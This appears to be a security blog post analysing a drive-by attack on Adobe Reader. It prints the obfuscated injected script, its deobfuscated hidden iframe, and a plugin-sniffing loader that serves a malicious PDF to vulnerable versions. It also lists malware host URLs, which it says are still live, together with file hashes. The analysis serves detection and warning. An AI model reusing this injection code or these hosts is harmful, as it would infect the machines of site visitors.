Adobe Acrobat Reader PDF Exploit (gnu.pdf & us.pdf) (UPDATED)

This morning we’ve found a website that automatically loads an infected pdf file.

When the user is directed to the infected site, there is a hidden iframe that loads the pdf file. Here’s what happens…

Links still live, proceed at your own risk.

User visits hxxp://120.50.46.90/~admin/tps/index.php and the following obfuscated code is included

<script language=”javascript”>document.write(unescape(’%3C%69%66%72
%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%36%39%2E
%34%36%2E%32%37%2E%34%31%2F%61%66%78%76%2F%74%70%76%2F%69
%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68
%65%69%67%68%74%3D%31%20%73%74%79%6C%65%3D%22%76%69%73%69
%62%69%6C%69%74%79%3A%68%69%64%64%65%6E%3B%70%6F%73%69%74
%69%6F%6E%3A%61%62%73%6F%6C%75%74%65%22%3E%3C%2F%69%66
%72%61%6D%65%3E’));</script>

when deobfuscated…

<iframe src=”http://69.46.27.41/afxv/tpv/index.php” width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

We can see the hidden iframe above and the page includes the following code…

<script>
ppdf=0;
i=0;
for(;navigator.plugins[i];i++)
{
re=/.d.{2}e.A.{2}o…..l..-.+?([0-9]+.[0-9]+)/;
if(res=re.exec(navigator.plugins[i].description))
{
ppdf=res[1];
}
var re=/.h.{5}v.+?s.\s([0-9])\S([0-9]).+?([0-9]{1,5})/;
var res;
if(res=re.exec(navigator.plugins[i].description))
{
flash=res[1]+’.'+res[2]+’.'+res[3];
}
}
ppdfenable=0;
if(ppdf!=0)
{
ppdfenable=0;
ppdf=ppdf.replace(/\D/g,”");
if(ppdf[0]==7 && ppdf[1]<1)ppdfenable=1;
if(ppdf[0]<7)ppdfenable=1;if(ppdfenable)
{
document.write(’<iframe width=1 height=1 src=”hxxp://69.46.27.41/afxv/tpv/gnu.pdf”></iframe>’);
}
}
</script>

Thus leading us to the pdf in question located at hxxp://69.46.27.41/afxv/tpv/gnu.pdf. Here is additional information regarding this file. This is also available in /pnuemo-malware/.

gnu.pdf
Result: 6/35 (17.15%)
MD5: 213d20a0523b6ea6c93d4348a509c34c
VirusTotal

Update your software!

UPDATED 9/1 12p PST

us.pdf
Result: 10/36 (27.78%)
MD5: 8175212481f069a6dd54de9cbd044039
VirusTotal
hxxp://174.133.121.165/us.pdf
hxxp://88.85.95.134/us.pdf

Malware Database